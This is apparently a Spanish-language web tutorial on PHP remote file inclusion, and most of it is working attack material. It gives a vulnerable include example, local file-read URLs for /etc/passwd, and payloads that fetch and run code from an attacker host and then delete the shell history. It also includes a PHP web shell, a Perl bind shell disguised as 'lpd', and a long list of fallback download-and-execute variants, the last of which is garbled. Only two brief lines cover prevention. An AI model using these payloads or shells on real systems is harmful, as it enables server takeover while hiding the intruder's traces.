|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ATAQUES REMOTE FILE INCLUSION:
Esta Vulnerabilidad permite a un atacante añadir código en una web escrita con php. Esta vulnerabilidad es debida a una mala programación.
Remote File Inclusion que a partir de ahora llamaremos RFI, se traduce al castellano como, "inclusión remota de archivo" IRA, mmm... no se cual me gusta más. Volvamos al tema: inclusión remota de archivos, creo que el nombre ya lo dice todo, pero como algunos aún lo preguntan, intentaré explicar el como y el porque de esta vulnerabilidad.
El código php, como muchos otros, permite la inclusión de código desde una ubicación externa, tanto local como remota. Esto permite la reutilización de código, por ejemplo el pie de pagina de una web.
En el ejemplo se muestra como utilizar la función "inclusion" en php. Esta función permite incluir imágenes, html o php en nuestra web sin repetir código.
<?php
código php....
include('archivo.php');
include('archivo.htm');
include('http://host_remoto/archivo.php');
include('http://host_remoto/archivo.htm');
más código php...
?>
Es importante recordar que todo fichero incluido en php será tratado con el interprete html. Por esta razón, cuando queremos ejecutar código php tendremos que hacerlo entre los tags de php.
Hasta aquí todo es perfecto, pero cuando utilizamos variables con la función include, esto ya puede ser más peligroso.
Como:
En este ejemplo, en el archivo rfi.php se muestra como se incluye el fichero "archivo.htm" utilizando una variable(vuln), recogida mediante el método "GET"(en la url del navegador)
Código vulnerable.
rfi.php:
<?php
include($_GET['vuln']);
?>
Archivo a incluir.
archivo.htm:
<center>
<b>Hola Mundo</b>
</center>
-Esta es la url que espera el archivo rfi.php
http://hostvulnerable/rfi.php?vuln=archivo.htm
-Si modificamos la url, el archivo rfi.php incluirá nuestro código
http://hostvulnerable/rfi.php?vuln=http://hostatacante/codigophp.htm
Nótese que la extensión del archivo incluido es htm, para evitar que el interprete php del "hostatacante" ejecute el código y solo retorne html.
Ejemplos:
Ejemplos de inclusión de archivos locales:
http://hostvulnerable/rfi.php?vuln=/etc/passwd
http://hostvulnerable/rfi.php?vuln=/etc/apache2/apache2.conf
http://hostvulnerable/rfi.php?vuln=Imaginacion
Ejemplos de inclusión de archivos remotos:
En un servidor web, que llamaremos "hostvulnerable" tenemos el archivo, rfi.php (ej. /var/www/rfi.php o http://hostvulnerable/rfi.php)
En otro servidor web, al que llamaremos "hostatacante" tenemos el archivo "ataque.txt" (ej. /var/www/ataque.txt o http://hostatacante/ataque.txt)
ataque.txt:
<?php
shell_exec('wget http://hostatacante/rs.txt; mv rs.txt rs.php; rm -f $HISTFILE');
?>
Veamos que hace este "ataque.txt"
<?php
Indica que el código que sigue es php, famoso tag del php
shell_exec
Permite ejecutar comandos de shell desde php
wget http://hostatacante/rs.txt;
Descarga un archivo.
mv rs.txt rs.php;
Cambia la extensión del archivo de .txt a .php, para que el interprete sepa de que estamos hablando
rm -f $HISTFILE'
Borra algunas huellas
?>
Cerramos el tag de php.
En el "hostatacante" tenemos otro fichero "rs.txt"; este carece de mayor importancia y no detallare su contenido, ya que puede ser cualquier programa o código que te permita conseguir el control del "hostvulnerable" (ej. /var/www/rs.txt o http://hostatacante/rs.txt)
rs.txt:
<?php
exec($_GET['shell'],$out);
foreach($out as $line) { echo "$line<br>"; }
?>
Este código, ejecuta en la shell cualquier cosa que reciba a través de la variable "shell" y lo muestra en pantalla.
El escenario:
En "hostvulnerable" tenemos un archivo llamado "rfi.php", que contiene la vulnerabilidad RFI y otro llamado "archivo.htm", en "hostatacante" tenemos dos archivos "ataque.txt" y "rs.txt"
La url natural del "hostvulnerable", la que espera el programador es:
http://hostvulnerable/rfi.php?vuln=archivo.htm
Éste nos muestra en negrita "Hola Mundo", que bonito.., me recuerda mis primeras practicas en vb. Como pasa el tiempo...
Ataque:
El ataque:
http://hostvulnerable/rfi.php?vuln=http://hostatacante/ataque.txt
Ésto provoca que el contenido del archivo "ataque.txt" se ejecute en el servidor "hostvulnerable".
Ahora, si todo funciona como estaba previsto, en el servidor "hostvulnerable" tenemos un archivo "rs.php".
Cualquier comando que sitúes detrás del "=" se ejecuta en el "hostvulnerable"
http://hostvulnerable/rs.php?shell=ls <-- un listado de archivos
http://hostvulnerable/rs.php?shell=cat /etc/passwd <-- ¿miramos los usuarios?
Bueno ya tenemos un shell remota simple, que permite ejecutar comandos desde la barra del navegador, omitiendo firewalls u otros sistemas de filtrado de puertos.
Ejemplo de inclusión archivos remotos
Ahora, otro más complicado pero creo que, a la par, algo más bonito, vamos al tajo
En el servidor "hostatacante" tenemos un fichero llamado "ataque2.txt" (ej. /var/www/ataque2.txt o http://hostatacante/ataque2.txt)
ataque2.txt:
<?php
shell_exec('cd /tmp;wget http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm codigo.txt*;rm -f $HISTFILE');
?>
¿Que hace ataque2.txt?
shell_exec
Esto permite ejecutar comandos de shell desde php.
cd /tmp
Entra en el directorio temporal, aquí podemos ejecutar ficheros.
wget http://hostatacante/codigo.txt
Descarga otro fichero de nuestro servidor.
mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459
Cambia el nombre del fichero.
perl sess_adav631df3a1ddfaa34s1x1wwo521459
Ejecuta nuestro código
/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459
Vuelve a ejecutar nuestro código, pero indicando la ruta del perl, no esta de mas.
rm codigo.txt*
Elimina posibles huellas.
rm -f $HISTFILE
Elimina huellas del fichero bash_history. Ojo, borra todo el bash history, que también es sospechoso.
Nota El archivo "ataque2.txt" es muy sencillo y da por sentado que en el "hostvulnerable" está instalado el wget. Al final de este documento hay listada otra versión ataque3.txt Éste contiene algunas modificaciones para minimizar las posibilidades de fracaso,
En el "hostatacante" tenemos otro fichero "codigo.txt"; que carece de mayor importáncia y no detallaré su contenido. Ya que, puede ser cualquier programa o código que te permita conseguir el control total del "hostvulnerable" (ej. /var/www/codigo.txt o http://hostatacante/codigo.txt)
codigo.txt:
#!/usr/bin/perl
use Socket;
$port=1111;
$proto=getprotobyname('tcp');
$cmd="lpd";
$system='/bin/sh';
$0=$cmd;
socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(;$paddr=accept(CLIENT, SERVER);close CLIENT) {
open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
}
Este código en perl, ejecuta una shell remota en el puerto 1111. Es importante utilizar un puerto por encima del 1024, ya que en los sistemas linux, solo root puede abrir los puertos comprendidos entre 1-1023.
El escenario:
En el "hostatacante", tenemos dos archivos: "ataque2.txt" y "codigo.txt". Y en "hostvulnerable", tenemos el ya conocido "rfi.php", que contiene la vulnerabilidad.
El ataque:
http://hostvulnerable/rfi.php?vuln=http://hostatacante/ataque2.txt
El interprete de php incluye dentro de rfi.php, el contenido de ataque2.txt que, a su vez, descarga a "codigo.txt" Lo ejecuta abriendo el puerto 1111 en el servidor "hostvulnerable".
Podemos abrir una shell remota contra el "hostvulnerable", con algún programa que permita conexiones tcp.
hostatacante> netcat hostvulnerable 1111
hostvulnerable> whoami
hostvulnerable> www-data
Esto no comporta un control total del host pero es un principio..
Como evitar la vulnerabilidad RFI:
-Programando de manera segura (controlando cualquier dato introducido por el usuario)
-Buscando aplicaciones seguras o de código abierto (para buscar las posibles vulnerabilidades)
Comentario del autor.
Espero que este documento sea de ayuda o de interés para alguien. Si tienes dudas, quejas, comentarios, otras técnicas que quieras publicar o alguna otra aportación, no dudes en ponerte en contacto con babilonics.com. Espero que alguien comente algo sobre esto documento.
Este documento es exclusivamente para fines educativos, cualquier otro uso que le des es bajo tu responsabilidad.
ataque3.txt:
<?php
shell_exec('cd /tmp;wget http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm codigo.txt*;rm -f $HISTFILE');
shell_exec('cd /tmp;curl -O http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm codigo.txt*;rm -f $HISTFILE');
shell_exec('cd /tmp;lwp-download http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
shell_exec('cd /tmp;lynx -source http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
shell_exec('cd /tmp;fetch http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
shell_exec('cd /tmp;GET http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
system('cd /tmp;wget http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm codigo.txt*;rm -f $HISTFILE');
system('cd /tmp;curl -O http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm codigo.txt*;rm -f $HISTFILE');
system('cd /tmp;lwp-download http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
system('cd /tmp;lynx -source http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
system('cd /tmp;fetch http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
system('cd /tmp;GET http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
passthru('cd /tmp;wget http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm codigo.txt*;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
passthru('cd /tmp;curl -O http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm codigo.txt*;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
passthru('cd /tmp;lwp-download http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
passthru('cd /tmp;lynx -source http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
passthru('cd /tmp;fetch http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
passthru('cd /tmp;GET http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE');
popen("cd /tmp;wget http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm codigo.txt*;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
popen("cd /tmp;curl -O http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm codigo.txt*;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
popen("cd /tmp;lwp-download http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
popen("cd /tmp;lynx -source http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
popen("cd /tmp;fetch http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
popen("cd /tmp;GET http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
proc_open("cd /tmp;wget http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm codigo.txt*;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
proc_open("cd /tmp;curl -O http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm codigo.txt*;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
proc_open("cd /tmp;lwp-download http://hostatacante/codigo.txt;mv codigo.txt sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
proc_open("cd /tmp;lynx -source http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
proc_open("cd /tmp;fetch http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
proc_open("cd /tmp;GET http://hostatacante/codigo.txt proc_open("cd /tmp;GET http://hostatacante/codigo.txt >sess_adav631df3a1ddfaa34s1x1wwo521459;perl sess_adav631df3a1ddfaa34s1x1wwo521459;/usr/bin/perl sess_adav631df3a1ddfaa34s1x1wwo521459;rm -f $HISTFILE", "r");
|
|
|
|
|
|
|
Hoy habia 62 visitantes (69 clics a subpáginas) ¡Aqui en esta página!
|
|
|
|
|